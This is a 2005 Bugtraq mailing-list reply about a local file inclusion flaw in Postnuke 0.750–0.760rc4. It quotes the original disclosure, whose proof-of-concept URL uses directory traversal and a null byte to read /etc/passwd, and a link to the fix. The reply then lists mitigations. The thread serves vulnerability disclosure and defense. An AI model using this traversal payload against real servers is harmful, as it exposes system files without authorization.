bugtraq - Re: Postnuke 0.750 - 0.760rc4 local file inclusion

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Date: Mon, 16 May 2005 12:05:51 -0400 (EDT)
From: Paul Laudanski <zx@...tlecops.com>
To: pokley <pokleyzz@...n-associates.net>
Cc: "full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>,
	"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: Re: Postnuke 0.750 - 0.760rc4 local file inclusion

On Mon, 16 May 2005, pokley wrote:

> Product : Postnuke 0.750 (http://www.postnuke.com)
> Description: Postnuke 0.750 - 0.760rc4 local file inclusion
> Severity: High
> 
> Proof of concept
> ================
> http://server.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00
> 
> Fix
> ===
> Fix Available from postnuke cvs since 5th May 2005
> 
> http://cvs.postnuke.com/viewcvs.cgi/Historic_PostNuke_Library/postnuke-devel/html/includes/pnMod.php.diff?r1=1.47&r2=1.48

Directory traversal in a PHP environment can be avoided in a few different 
ways:

1) Proper programming practice,
2) Usage of http://php.net/basename,
3) Install modsecurity and prevent path traversal,
4) Disable globals in php.ini.

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